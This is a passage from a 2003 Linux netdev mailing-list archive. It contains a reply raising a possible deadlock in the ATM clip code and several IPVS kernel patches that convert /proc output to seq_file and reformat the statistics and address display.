(v1.0.0; list netdev); Mon, 15 Sep 2003 14:08:34 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FL8SYa014949 for ; Mon, 15 Sep 2003 14:08:30 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8FKx1xA024016; Mon, 15 Sep 2003 22:59:01 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8FKx1MU024015; Mon, 15 Sep 2003 22:59:01 +0200 Date: Mon, 15 Sep 2003 22:59:01 +0200 From: Francois Romieu To: chas3@users.sourceforge.net Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [clip] fix race between modifying entry->vccs and clip_start_xmit() Message-ID: <20030915225901.A22239@electric-eye.fr.zoreil.com> References: <200309151911.h8FJBKSa003299@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200309151911.h8FJBKSa003299@ginger.cmf.nrl.navy.mil>; from chas@cmf.nrl.navy.mil on Mon, Sep 15, 2003 at 03:11:21PM -0400 X-archive-position: 5925 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev chas williams : [unlink_clip_vcc() locking change] Afaik unlink_clip_vcc() can be called from a clip_push() issued in IRQ context through vcc->push() in a device driver as well as from user-space through vcc_ioctl()/ATMARP_SETENTRY. If the lock is taken by user-space first, what avoids that unlink_clip_vcc(IRQ) deadlocks on it ? No comment for the clip_start_xmit() part btw. -- Ueimor From shemminger@osdl.org Mon Sep 15 14:42:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 14:42:33 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FLgSYa016066 for ; Mon, 15 Sep 2003 14:42:29 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8FLgDo12756; Mon, 15 Sep 2003 14:42:13 -0700 Date: Mon, 15 Sep 2003 14:41:54 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] ipvs -- print statistics in decimal. Message-Id: <20030915144154.26b9bad5.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5926 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Most of of us read decimal better than hex ;-) Assumes earlier seq_file patch. diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c --- a/net/ipv4/ipvs/ip_vs_ctl.c Mon Sep 15 14:31:43 2003 +++ b/net/ipv4/ipvs/ip_vs_ctl.c Mon Sep 15 14:31:43 2003 @@ -1716,22 +1716,22 @@ #ifdef CONFIG_PROC_FS static int ip_vs_stats_show(struct seq_file *seq, void *v) { + static const char hfmt[] + = "%10s %10s %10s %20s %20s\n"; -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ - seq_puts(seq, - " Total Incoming Outgoing Incoming Outgoing\n"); - seq_printf(seq, - " Conns Packets Packets Bytes Bytes\n"); + seq_printf(seq, hfmt, "Total", "Incoming", "Outgoing", + "Incoming" ,"Outgoing"); + seq_printf(seq, hfmt, "Conns", "Packets","Packets","Bytes","Bytes"); spin_lock_bh(&ip_vs_stats.lock); - seq_printf(seq, "%8X %8X %8X %16LX %16LX\n\n", ip_vs_stats.conns, + seq_printf(seq, "%10u %10u %10u %20llu %20llu\n\n", + ip_vs_stats.conns, ip_vs_stats.inpkts, ip_vs_stats.outpkts, ip_vs_stats.inbytes, ip_vs_stats.outbytes); -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ - seq_puts(seq, - " Conns/s Pkts/s Pkts/s Bytes/s Bytes/s\n"); - seq_printf(seq,"%8X %8X %8X %16X %16X\n", + seq_printf(seq, hfmt, "Conns/s", "Pkts/s","Pkts/s", + "Bytes/s","Bytes/s"); + seq_printf(seq,"%10u %10u %10u %20u %20u\n", ip_vs_stats.cps, ip_vs_stats.inpps, ip_vs_stats.outpps, From shemminger@osdl.org Mon Sep 15 14:44:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 14:44:05 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FLi2Ya016332 for ; Mon, 15 Sep 2003 14:44:02 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8FLhmo12990; Mon, 15 Sep 2003 14:43:48 -0700 Date: Mon, 15 Sep 2003 14:43:29 -0700 From: Stephen Hemminger To: "David S. Miller" , lvs-users@LinuxVirtualServer.org Cc: netdev@oss.sgi.com Subject: [PATCH] ipvs -- format /proc/net/ip_vs_conn entries in dotted notation. Message-Id: <20030915144329.6dc442ad.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5927 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Easier for human's to read dotted notation IP addresses. Assumes earlier seq_file patch. diff -Nru a/net/ipv4/ipvs/ip_vs_conn.c b/net/ipv4/ipvs/ip_vs_conn.c --- a/net/ipv4/ipvs/ip_vs_conn.c Mon Sep 15 14:31:28 2003 +++ b/net/ipv4/ipvs/ip_vs_conn.c Mon Sep 15 14:31:28 2003 @@ -682,23 +682,33 @@ ct_read_unlock(l - ip_vs_conn_tab); } +static inline void addr_format(char * tmp,__u32 addr, __u16 port) +{ + sprintf(tmp, "%u.%u.%u.%u:%u", + NIPQUAD(addr), ntohs(port)); +} + + static int ip_vs_conn_seq_show(struct seq_file *seq, void *v) { if (v == SEQ_START_TOKEN) - seq_puts(seq, - "Pro FromIP FPrt ToIP TPrt DestIP DPrt State Expires\n"); + seq_printf(seq, "%-3s %-18s %-18s %-18s %-11s %-6s\n", + "Pro", "From", "To", "Destination", + "State", "Expire"); else { const struct ip_vs_conn *cp = v; + char from[20], to[20], dest[20]; + + addr_format(from, cp->caddr, ntohs(cp->cport)); + addr_format(to, cp->vaddr, ntohs(cp->vport)); + addr_format(dest, cp->daddr, ntohs(cp->dport)); - seq_printf(seq, - "%-3s %08X %04X %08X %04X %08X %04X %-11s %7lu\n", - ip_vs_proto_name(cp->protocol), - ntohl(cp->caddr), ntohs(cp->cport), - ntohl(cp->vaddr), ntohs(cp->vport), - ntohl(cp->daddr), ntohs(cp->dport), - ip_vs_state_name(cp->protocol, cp->state), - (cp->timer.expires-jiffies)/HZ); + seq_printf(seq, "%-3s %-18s %-18s %-18s %-11s %7lu\n", + ip_vs_proto_name(cp->protocol), + from, to, dest, + ip_vs_state_name(cp->protocol, cp->state), + (cp->timer.expires-jiffies)/HZ); } return 0; } From shemminger@osdl.org Mon Sep 15 14:57:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 14:57:26 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FLvMYa017075 for ; Mon, 15 Sep 2003 14:57:22 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8FLeHo12495; Mon, 15 Sep 2003 14:40:17 -0700 Date: Mon, 15 Sep 2003 14:39:57 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: [PATCH] Convert ipvs to use seq_file. Message-Id: <20030915143957.041689d8.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5928 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Convert IPVS (for 2.6.0-test5) to use seq_file for the /proc interface. Got rid of gratuitous 64 column trailing blank padding. P.s: how come there is no MAINTAINER listed for IPVS? diff -urNp -X dontdiff linux-2.5/net/ipv4/ipvs/ip_vs_app.c linux-2.5-net/net/ipv4/ipvs/ip_vs_app.c --- linux-2.5/net/ipv4/ipvs/ip_vs_app.c 2003-09-15 09:57:15.000000000 -0700 +++ linux-2.5-net/net/ipv4/ipvs/ip_vs_app.c 2003-09-15 10:30:18.000000000 -0700 @@ -35,6 +35,7 @@ #include #include #include +#include #include @@ -480,55 +481,104 @@ int ip_vs_app_pkt_in(struct ip_vs_conn * } +#ifdef CONFIG_PROC_FS /* * /proc/net/ip_vs_app entry function */ -static int -ip_vs_app_getinfo(char *buffer, char **start, off_t offset, int length) +#define SEQ_START_TOKEN ((void *)1) + +static struct ip_vs_app *ip_vs_app_idx(loff_t pos) { - off_t pos=0; - int len=0; - char temp[64]; - struct ip_vs_app *app, *inc; + loff_t off = 0; struct list_head *e, *i; - pos = 64; - if (pos > offset) { - len += sprintf(buffer+len, "%-63s\n", - "prot port usecnt name"); + list_for_each(e, &ip_vs_app_list) { + struct ip_vs_app *app + = list_entry(e, struct ip_vs_app, a_list); + list_for_each (i, &app->incs_list) { + if (off == pos) + return list_entry(i, struct ip_vs_app, a_list); + ++off; + } } + return NULL; + +} +static void *ip_vs_app_seq_start(struct seq_file *seq, loff_t *pos) +{ down(&__ip_vs_app_mutex); - list_for_each (e, &ip_vs_app_list) { + + return *pos ? ip_vs_app_idx(*pos - 1) : SEQ_START_TOKEN; +} + +static void *ip_vs_app_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct ip_vs_app *inc, *app; + struct list_head *i, *e; + + ++*pos; + if (v == SEQ_START_TOKEN) + return ip_vs_app_idx(0); + + inc = v; + app = inc->app; + + if ((i = inc->a_list.next) != &app->incs_list) + return list_entry(i, struct ip_vs_app, a_list); + + /* go on to next application */ + for (e = app->a_list.next; e != &ip_vs_app_list; e = e->next) { app = list_entry(e, struct ip_vs_app, a_list); list_for_each (i, &app->incs_list) { - inc = list_entry(i, struct ip_vs_app, a_list); - - pos += 64; - if (pos <= offset) - continue; - sprintf(temp, "%-3s %-7u %-6d %-17s", - ip_vs_proto_name(inc->protocol), - ntohs(inc->port), - atomic_read(&inc->usecnt), - inc->name); - len += sprintf(buffer+len, "%-63s\n", temp); - if (pos >= offset+length) - goto done; + return list_entry(i, struct ip_vs_app, a_list); } } - done: + return NULL; +} + +static void ip_vs_app_seq_stop(struct seq_file *seq, void *v) +{ up(&__ip_vs_app_mutex); +} - *start = buffer+len-(pos-offset); /* Start of wanted data */ - len = pos-offset; - if (len > length) - len = length; - if (len < 0) - len = 0; - return len; +static int ip_vs_app_seq_show(struct seq_file *seq, void *v) +{ + if (v == SEQ_START_TOKEN) + seq_puts(seq, "prot port usecnt name\n"); + else { + const struct ip_vs_app *inc = v; + + seq_printf(seq, "%-3s %-7u %-6d %-17s\n", + ip_vs_proto_name(inc->protocol), + ntohs(inc->port), + atomic_read(&inc->usecnt), + inc->name); + } + return 0; } +static struct seq_operations ip_vs_app_seq_ops = { + .start = ip_vs_app_seq_start, + .next = ip_vs_app_seq_next, + .stop = ip_vs_app_seq_stop, + .show = ip_vs_app_seq_show, +}; + +static int ip_vs_app_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &ip_vs_app_seq_ops); +} + +static struct file_operations ip_vs_app_fops = { + .owner = THIS_MODULE, + .open = ip_vs_app_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; +#endif + /* * Replace a segment of data with a new segment @@ -577,7 +627,7 @@ int ip_vs_skb_replace(struct sk_buff *sk int ip_vs_app_init(void) { /* we will replace it with proc_net_ipvs_create() soon */ - proc_net_create("ip_vs_app", 0, ip_vs_app_getinfo); + proc_net_fops_create("ip_vs_app", 0, &ip_vs_app_fops); return 0; } diff -urNp -X dontdiff linux-2.5/net/ipv4/ipvs/ip_vs_conn.c linux-2.5-net/net/ipv4/ipvs/ip_vs_conn.c --- linux-2.5/net/ipv4/ipvs/ip_vs_conn.c 2003-09-15 09:57:15.000000000 -0700 +++ linux-2.5-net/net/ipv4/ipvs/ip_vs_conn.c 2003-09-15 10:27:45.000000000 -0700 @@ -30,6 +30,7 @@ #include #include #include /* for proc_net_* */ +#include #include #include @@ -188,14 +189,13 @@ static inline struct ip_vs_conn *__ip_vs { unsigned hash; struct ip_vs_conn *cp; - struct list_head *l,*e; + struct list_head *e; hash = ip_vs_conn_hashkey(protocol, s_addr, s_port); - l = &ip_vs_conn_tab[hash]; ct_read_lock(hash); - for (e=l->next; e!=l; e=e->next) { + list_for_each(e, &ip_vs_conn_tab[hash]) { cp = list_entry(e, struct ip_vs_conn, c_list); if (s_addr==cp->caddr && s_port==cp->cport && d_port==cp->vport && d_addr==cp->vaddr && @@ -242,17 +242,16 @@ struct ip_vs_conn *ip_vs_conn_out_get { unsigned hash; struct ip_vs_conn *cp, *ret=NULL; - struct list_head *l,*e; + struct list_head *e; /* * Check for "full" addressed entries */ hash = ip_vs_conn_hashkey(protocol, d_addr, d_port); - l = &ip_vs_conn_tab[hash]; ct_read_lock(hash); - for (e=l->next; e!=l; e=e->next) { + list_for_each(e, &ip_vs_conn_tab[hash]) { cp = list_entry(e, struct ip_vs_conn, c_list); if (d_addr == cp->caddr && d_port == cp->cport && s_port == cp->dport && s_addr == cp->daddr && @@ -615,61 +614,116 @@ ip_vs_conn_new(int proto, __u32 caddr, _ /* * /proc/net/ip_vs_conn entries */ -static int -ip_vs_conn_getinfo(char *buffer, char **start, off_t offset, int length) -{ - off_t pos=0; - int idx, len=0; - char temp[70]; - struct ip_vs_conn *cp; - struct list_head *l, *e; +#ifdef CONFIG_PROC_FS - pos = 128; - if (pos > offset) { - len += sprintf(buffer+len, "%-127s\n", - "Pro FromIP FPrt ToIP TPrt DestIP DPrt State Expires"); - } +#define SEQ_START_TOKEN ((void *)1) +static void *ip_vs_conn_array(struct seq_file *seq, loff_t pos) +{ + struct list_head *e; + int idx; + loff_t off = 0; + for(idx = 0; idx < IP_VS_CONN_TAB_SIZE; idx++) { - /* - * Lock is actually only need in next loop - * we are called from uspace: must stop bh. - */ ct_read_lock_bh(idx); + list_for_each(e, &ip_vs_conn_tab[idx]) { + if (off == pos) { + seq->private = &ip_vs_conn_tab[idx]; + return list_entry(e, struct ip_vs_conn, c_list); + } + ++off; + } + ct_read_unlock_bh(idx); + } - l = &ip_vs_conn_tab[idx]; - for (e=l->next; e!=l; e=e->next) { - cp = list_entry(e, struct ip_vs_conn, c_list); - pos += 128; - if (pos <= offset) - continue; - sprintf(temp, - "%-3s %08X %04X %08X %04X %08X %04X %-11s %7lu", + return NULL; +} + +static void *ip_vs_conn_seq_start(struct seq_file *seq, loff_t *pos) +{ + seq->private = NULL; + return *pos ? ip_vs_conn_array(seq, *pos - 1) :SEQ_START_TOKEN; +} + +static void *ip_vs_conn_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct ip_vs_conn *cp = v; + struct list_head *e, *l = seq->private; + int idx; + + ++*pos; + if (v == SEQ_START_TOKEN) + return ip_vs_conn_array(seq, 0); + + /* more on same hash chain? */ + if ((e = cp->c_list.next) != l) + return list_entry(e, struct ip_vs_conn, c_list); + + idx = l - ip_vs_conn_tab; + ct_read_unlock_bh(idx); + + while (++idx < IP_VS_CONN_TAB_SIZE) { + ct_read_lock_bh(idx); + list_for_each(e, &ip_vs_conn_tab[idx]) { + seq->private = &ip_vs_conn_tab[idx]; + return list_entry(e, struct ip_vs_conn, c_list); + } + ct_read_unlock_bh(idx); + } + seq->private = NULL; + return NULL; +} + +static void ip_vs_conn_seq_stop(struct seq_file *seq, void *v) +{ + struct list_head *l = seq->private; + + if (l) + ct_read_unlock(l - ip_vs_conn_tab); +} + +static int ip_vs_conn_seq_show(struct seq_file *seq, void *v) +{ + + if (v == SEQ_START_TOKEN) + seq_puts(seq, + "Pro FromIP FPrt ToIP TPrt DestIP DPrt State Expires\n"); + else { + const struct ip_vs_conn *cp = v; + + seq_printf(seq, + "%-3s %08X %04X %08X %04X %08X %04X %-11s %7lu\n", ip_vs_proto_name(cp->protocol), ntohl(cp->caddr), ntohs(cp->cport), ntohl(cp->vaddr), ntohs(cp->vport), ntohl(cp->daddr), ntohs(cp->dport), ip_vs_state_name(cp->protocol, cp->state), (cp->timer.expires-jiffies)/HZ); - len += sprintf(buffer+len, "%-127s\n", temp); - if (pos >= offset+length) { - ct_read_unlock_bh(idx); - goto done; - } - } - ct_read_unlock_bh(idx); } - - done: - *start = buffer+len-(pos-offset); /* Start of wanted data */ - len = pos-offset; - if (len > length) - len = length; - if (len < 0) - len = 0; - return len; + return 0; } +static struct seq_operations ip_vs_conn_seq_ops = { + .start = ip_vs_conn_seq_start, + .next = ip_vs_conn_seq_next, + .stop = ip_vs_conn_seq_stop, + .show = ip_vs_conn_seq_show, +}; + +static int ip_vs_conn_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &ip_vs_conn_seq_ops); +} + +static struct file_operations ip_vs_conn_fops = { + .owner = THIS_MODULE, + .open = ip_vs_conn_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; +#endif + /* * Randomly drop connection entries before running out of memory @@ -707,7 +761,7 @@ void ip_vs_random_dropentry(void) { int idx; struct ip_vs_conn *cp; - struct list_head *l,*e; + struct list_head *e; struct ip_vs_conn *ct; /* @@ -721,8 +775,7 @@ void ip_vs_random_dropentry(void) */ ct_write_lock(hash); - l = &ip_vs_conn_tab[hash]; - for (e=l->next; e!=l; e=e->next) { + list_for_each(e, &ip_vs_conn_tab[hash]) { cp = list_entry(e, struct ip_vs_conn, c_list); if (!cp->cport && !(cp->flags & IP_VS_CONN_F_NO_CPORT)) /* connection template */ @@ -775,7 +828,7 @@ static void ip_vs_conn_flush(void) { int idx; struct ip_vs_conn *cp; - struct list_head *l,*e; + struct list_head *e; struct ip_vs_conn *ct; flush_again: @@ -785,8 +838,7 @@ static void ip_vs_conn_flush(void) */ ct_write_lock_bh(idx); - l = &ip_vs_conn_tab[idx]; - for (e=l->next; e!=l; e=e->next) { + list_for_each(e, &ip_vs_conn_tab[idx]) { cp = list_entry(e, struct ip_vs_conn, c_list); atomic_inc(&cp->refcnt); ct_write_unlock(idx); @@ -848,7 +900,7 @@ int ip_vs_conn_init(void) __ip_vs_conntbl_lock_array[idx].l = RW_LOCK_UNLOCKED; } - proc_net_create("ip_vs_conn", 0, ip_vs_conn_getinfo); + proc_net_fops_create("ip_vs_conn", 0, &ip_vs_conn_fops); /* calculate the random value for connection hash */ get_random_bytes(&ip_vs_conn_rnd, sizeof(ip_vs_conn_rnd)); diff -urNp -X dontdiff linux-2.5/net/ipv4/ipvs/ip_vs_ctl.c linux-2.5-net/net/ipv4/ipvs/ip_vs_ctl.c --- linux-2.5/net/ipv4/ipvs/ip_vs_ctl.c 2003-09-15 09:57:15.000000000 -0700 +++ linux-2.5-net/net/ipv4/ipvs/ip_vs_ctl.c 2003-09-15 12:52:15.000000000 -0700 @@ -31,6 +31,8 @@ #include #include #include +#include +#include #include #include @@ -1507,207 +1509,253 @@ static struct ip_vs_sysctl_table ipv4_vs {0}} }; +#ifdef CONFIG_PROC_FS + +struct ip_vs_iter { + struct list_head *table; + int bucket; +}; + +#define SEQ_START_TOKEN ((void *)1) /* * Write the contents of the VS rule table to a PROCfs file. * (It is kept just for backward compatibility) */ -static inline char *ip_vs_fwd_name(unsigned flags) +static inline const char *ip_vs_fwd_name(unsigned flags) { - char *fwd; - switch (flags & IP_VS_CONN_F_FWD_MASK) { case IP_VS_CONN_F_LOCALNODE: - fwd = "Local"; - break; + return "Local"; case IP_VS_CONN_F_TUNNEL: - fwd = "Tunnel"; - break; + return "Tunnel"; case IP_VS_CONN_F_DROUTE: - fwd = "Route"; - break; + return "Route"; default: - fwd = "Masq"; + return "Masq"; } - return fwd; } -static inline int sprintf_dest(char *str, struct ip_vs_dest *dest) -{ - return sprintf(str, " -> %08X:%04X %-7s %-6d %-10d %-10d", - ntohl(dest->addr), ntohs(dest->port), - ip_vs_fwd_name(atomic_read(&dest->conn_flags)), - atomic_read(&dest->weight), - atomic_read(&dest->activeconns), - atomic_read(&dest->inactconns)); -} -static int ip_vs_get_info(char *buf, char **start, off_t offset, int length) +/* Get the Nth entry in the two lists */ +static struct ip_vs_service *ip_vs_info_array(struct seq_file *seq, loff_t pos) { - int len=0; - off_t pos=0; - char temp[64], temp2[32]; + struct ip_vs_iter *iter = seq->private; int idx; - struct ip_vs_service *svc; - struct ip_vs_dest *dest; - struct list_head *l, *e, *p, *q; - - /* - * Note: since the length of the buffer is usually the multiple - * of 512, it is good to use fixed record of the divisor of 512, - * so that records won't be truncated at buffer boundary. - */ - pos = 192; - if (pos > offset) { - sprintf(temp, - "IP Virtual Server version %d.%d.%d (size=%d)", - NVERSION(IP_VS_VERSION_CODE), IP_VS_CONN_TAB_SIZE); - len += sprintf(buf+len, "%-63s\n", temp); - len += sprintf(buf+len, "%-63s\n", - "Prot LocalAddress:Port Scheduler Flags"); - len += sprintf(buf+len, "%-63s\n", - " -> RemoteAddress:Port Forward Weight ActiveConn InActConn"); - } + struct list_head *e; - read_lock_bh(&__ip_vs_svc_lock); - - /* print the service table hashed by */ + /* look in hash by protocol */ for (idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - l = &ip_vs_svc_table[idx]; - for (e=l->next; e!=l; e=e->next) { - svc = list_entry(e, struct ip_vs_service, s_list); - pos += 64; - if (pos > offset) { - if (svc->flags & IP_VS_SVC_F_PERSISTENT) - sprintf(temp2, "persistent %d %08X", - svc->timeout, - ntohl(svc->netmask)); - else - temp2[0] = '\0'; - - sprintf(temp, "%s %08X:%04X %s %s", - ip_vs_proto_name(svc->protocol), - ntohl(svc->addr), - ntohs(svc->port), - svc->scheduler->name, temp2); - len += sprintf(buf+len, "%-63s\n", temp); - if (len >= length) - goto done; - } - - p = &svc->destinations; - for (q=p->next; q!=p; q=q->next) { - dest = list_entry(q, struct ip_vs_dest, n_list); - pos += 64; - if (pos <= offset) - continue; - sprintf_dest(temp, dest); - len += sprintf(buf+len, "%-63s\n", temp); - if (len >= length) - goto done; + list_for_each(e, &ip_vs_svc_table[idx]) { + if (pos-- == 0){ + iter->table = ip_vs_svc_table; + iter->bucket = idx; + return list_entry(e, struct ip_vs_service, s_list); } } } - /* print the service table hashed by fwmark */ + /* keep looking in fwmark */ for (idx = 0; idx < IP_VS_SVC_TAB_SIZE; idx++) { - l = &ip_vs_svc_fwm_table[idx]; - for (e=l->next; e!=l; e=e->next) { - svc = list_entry(e, struct ip_vs_service, f_list); - pos += 64; - if (pos > offset) { - if (svc->flags & IP_VS_SVC_F_PERSISTENT) - sprintf(temp2, "persistent %d %08X", - svc->timeout, - ntohl(svc->netmask)); - else - temp2[0] = '\0'; - - sprintf(temp, "FWM %08X %s %s", - svc->fwmark, - svc->scheduler->name, temp2); - len += sprintf(buf+len, "%-63s\n", temp); - if (len >= length) - goto done; + list_for_each(e, &ip_vs_svc_fwm_table[idx]) { + if (pos-- == 0) { + iter->table = ip_vs_svc_fwm_table; + iter->bucket = idx; + return list_entry(e, struct ip_vs_service, f_list); } + } + } + + return NULL; +} - p = &svc->destinations; - for (q=p->next; q!=p; q=q->next) { - dest = list_entry(q, struct ip_vs_dest, n_list); - pos += 64; - if (pos <= offset) - continue; - sprintf_dest(temp, dest); - len += sprintf(buf+len, "%-63s\n", temp); - if (len >= length) - goto done; +static void *ip_vs_info_seq_start(struct seq_file *seq, loff_t *pos) +{ + + read_lock_bh(&__ip_vs_svc_lock); + return *pos ? ip_vs_info_array(seq, *pos - 1) : SEQ_START_TOKEN; +} + + +static void *ip_vs_info_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct list_head *e; + struct ip_vs_iter *iter; + struct ip_vs_service *svc; + + ++*pos; + if (v == SEQ_START_TOKEN) + return ip_vs_info_array(seq,0); + + svc = v; + iter = seq->private; + + if (iter->table == ip_vs_svc_table) { + /* next service in table hashed by protocol */ + if ((e = svc->s_list.next) != &ip_vs_svc_table[iter->bucket]) + return list_entry(e, struct ip_vs_service, s_list); + + + while (++iter->bucket < IP_VS_SVC_TAB_SIZE) { + list_for_each(e, &ip_vs_svc_table[iter->bucket]) { + return list_entry(e, struct ip_vs_service, s_list); } } + + iter->table = ip_vs_svc_fwm_table; + iter->bucket = -1; + goto scan_fwmark; } - done: + /* next service in hashed by fwmark */ + if ((e = svc->f_list.next) != &ip_vs_svc_fwm_table[iter->bucket]) + return list_entry(e, struct ip_vs_service, f_list); + + scan_fwmark: + while (++iter->bucket < IP_VS_SVC_TAB_SIZE) { + list_for_each(e, &ip_vs_svc_fwm_table[iter->bucket]) + return list_entry(e, struct ip_vs_service, f_list); + } + + return NULL; +} + +static void ip_vs_info_seq_stop(struct seq_file *seq, void *v) +{ read_unlock_bh(&__ip_vs_svc_lock); +} + + +static int ip_vs_info_seq_show(struct seq_file *seq, void *v) +{ + if (v == SEQ_START_TOKEN) { + seq_printf(seq, + "IP Virtual Server version %d.%d.%d (size=%d)\n", + NVERSION(IP_VS_VERSION_CODE), IP_VS_CONN_TAB_SIZE); + seq_puts(seq, + "Prot LocalAddress:Port Scheduler Flags\n"); + seq_puts(seq, + " -> RemoteAddress:Port Forward Weight ActiveConn InActConn\n"); + } else { + const struct ip_vs_service *svc = v; + const struct ip_vs_iter *iter = seq->private; + const struct ip_vs_dest *dest; + + if (iter->table == ip_vs_svc_table) + seq_printf(seq, "%s %08X:%04X %s ", + ip_vs_proto_name(svc->protocol), + ntohl(svc->addr), + ntohs(svc->port), + svc->scheduler->name); + else + seq_printf(seq, "FWM %08X %s ", + svc->fwmark, svc->scheduler->name); + + if (svc->flags & IP_VS_SVC_F_PERSISTENT) + seq_printf(seq, "persistent %d %08X\n", + svc->timeout, + ntohl(svc->netmask)); + else + seq_putc(seq, '\n'); - *start = buf+len-(pos-offset); /* Start of wanted data */ - len = pos-offset; - if (len > length) - len = length; - if (len < 0) - len = 0; - return len; + list_for_each_entry(dest, &svc->destinations, n_list) { + seq_printf(seq, + " -> %08X:%04X %-7s %-6d %-10d %-10d\n", + ntohl(dest->addr), ntohs(dest->port), + ip_vs_fwd_name(atomic_read(&dest->conn_flags)), + atomic_read(&dest->weight), + atomic_read(&dest->activeconns), + atomic_read(&dest->inactconns)); + } + } + return 0; } +static struct seq_operations ip_vs_info_seq_ops = { + .start = ip_vs_info_seq_start, + .next = ip_vs_info_seq_next, + .stop = ip_vs_info_seq_stop, + .show = ip_vs_info_seq_show, +}; + +static int ip_vs_info_open(struct inode *inode, struct file *file) +{ + struct seq_file *seq; + int rc = -ENOMEM; + struct ip_vs_iter *s = kmalloc(sizeof(*s), GFP_KERNEL); + + if (!s) + goto out; + + rc = seq_open(file, &ip_vs_info_seq_ops); + if (rc) + goto out_kfree; + + seq = file->private_data; + seq->private = s; + memset(s, 0, sizeof(*s)); +out: + return rc; +out_kfree: + kfree(s); + goto out; +} + +static struct file_operations ip_vs_info_fops = { + .owner = THIS_MODULE, + .open = ip_vs_info_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release_private, +}; + +#endif struct ip_vs_stats ip_vs_stats; -static int -ip_vs_stats_get_info(char *buf, char **start, off_t offset, int length) +#ifdef CONFIG_PROC_FS +static int ip_vs_stats_show(struct seq_file *seq, void *v) { - int len=0; - off_t pos=0; - char temp[64]; - - pos += 320; - if (pos > offset) { - len += sprintf(buf+len, "%-63s\n%-63s\n", -/* 01234567 01234567 01234567 0123456701234567 0123456701234567 */ - " Total Incoming Outgoing Incoming Outgoing", - " Conns Packets Packets Bytes Bytes"); - - 